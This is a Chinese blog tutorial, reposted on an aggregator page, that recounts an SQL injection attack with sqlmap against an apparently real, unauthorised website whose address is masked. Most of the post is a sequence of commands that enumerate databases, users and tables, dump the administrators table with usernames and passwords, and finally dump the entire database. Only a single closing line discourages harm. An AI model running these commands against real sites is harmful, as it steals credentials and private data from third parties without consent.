一次sqlmap***实例

某日,发现一个sql注入点,http://www.******.com/subcat.php?id=2打算***一下(为了不泄露信息,网址全打码)。


科普一下:

SQLMAP 是一款开源的***测试程序,它可以自动探测和利用 SQL 注入漏洞来获得我们想要的数据。我们可以利用它执行特定的命令、查看文件、获取各种数据;当然,最猥琐的是它利用注入点***的速率还是灰常让人满意的。


***开始:

  1. 首先检查一下注入点是否可用


    sqlmap -u http://www.******.com/subcat.php?id=2 --batch

    --batch:中间避免手动输入Y来确认

    wKioL1dzj3ixmZ3PAABpxQZHfjk122.png

可见注入点是可以使用的。


2.暴库,看看都有哪些数据库:

#sqlmap -u   --dbs

wKiom1dzkDTQJU3nAAAgIpSzhyo331.png

如上图,爆出了5个数据库。


3.找出web当前使用的是哪个数据库:

#sqlmap -u http://www.******.com/subcat.php?id=2 --current-db

wKiom1dzkOTxynBZAAAZ1CiJ3Wk860.png


4.找出web当前数据库的账户:

#sqlmap -u http://www.******.com/subcat.php?id=2 --current-user

wKiom1dzkXPhBV5TAAAYg4qBaxc009.png


5.列出数据库所有用户:

#sqlmap -u http://www.******.com/subcat.php?id=2 --users

wKioL1dzkdHhSmfMAAAejlYTWuU905.png

可以看书只有一个用户。


6.获取数据库账户与密码:

#sqlmap -u http://www.******.com/subcat.php?id=2 --passwords


7.获取当前数据库的所有表:

#sqlmap -u http://www.******.com/subcat.php?id=2 -D bible_history --tables

 -D:指定数据库

wKioL1dzknOgv3mlAABYmgdWZec368.png


8.找出表中都有哪些字段:

#sqlmap -u http://www.******.com/subcat.php?id=2 -D bible_history -T administrators --columns

 -T:指定表

wKiom1dzkraB-0-3AAA02JdgQ-c185.png

可以看出表中有5个字段。


9.爆字段内容:

#sqlmap -u http://www.******.com/subcat.php?id=2 -D bible_history -T administrators -C admin_first_name,admin_id,admin_last_name,admin_password,admin_username --dump

 -C:指定字段

 --dump:导出,否则shell上不会显示内容,只能到日志中查看

若内容太多,可以指定显示那一部分:

 --start:指定导出的开始的行

 --stop:指定导出结束的行

#sqlmap -u http://www.******.com/subcat.php?id=2 -D bible_history -T administrators -C admin_first_name,admin_id,admin_last_name,admin_password,admin_username --start 1 --stop 10 --dump

wKioL1dzkwfjmzSXAAA9CH76PMI685.png

如上,爆出了字段的内容,及获得了用户名和密码,有的密码是经过hash加密的需要破解。



10.***:

#sqlmap -u http://www.******.com/subcat.php?id=2 --dump-all

wKioL1dzlLzzWqL_AACLC6etTbg394.png

上图为拖的库的一部分。


为了和谐的网络环境,大家不要做破坏的事情。

优秀的个人博客,低调大师

微信关注我们

原文链接:https://blog.51cto.com/blacktime/1794282

转载内容版权归作者及来源网站所有!

低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。

相关文章

发表评论

资源下载

更多资源
优质分享Android(本站安卓app)

优质分享Android(本站安卓app)

近一个月的开发和优化,本站点的第一个app全新上线。该app采用极致压缩,本体才4.36MB。系统里面做了大量数据访问、缓存优化。方便用户在手机上查看文章。后续会推出HarmonyOS的适配版本。

Apache Tomcat7、8、9(Java Web服务器)

Apache Tomcat7、8、9(Java Web服务器)

Tomcat是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。因为Tomcat 技术先进、性能稳定,而且免费,因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可,成为目前比较流行的Web 应用服务器。

Eclipse(集成开发环境)

Eclipse(集成开发环境)

Eclipse 是一个开放源代码的、基于Java的可扩展开发平台。就其本身而言,它只是一个框架和一组服务,用于通过插件组件构建开发环境。幸运的是,Eclipse 附带了一个标准的插件集,包括Java开发工具(Java Development Kit,JDK)。

Sublime Text 一个代码编辑器

Sublime Text 一个代码编辑器

Sublime Text具有漂亮的用户界面和强大的功能,例如代码缩略图,Python的插件,代码段等。还可自定义键绑定,菜单和工具栏。Sublime Text 的主要功能包括:拼写检查,书签,完整的 Python API , Goto 功能,即时项目切换,多选择,多窗口等等。Sublime Text 是一个跨平台的编辑器,同时支持Windows、Linux、Mac OS X等操作系统。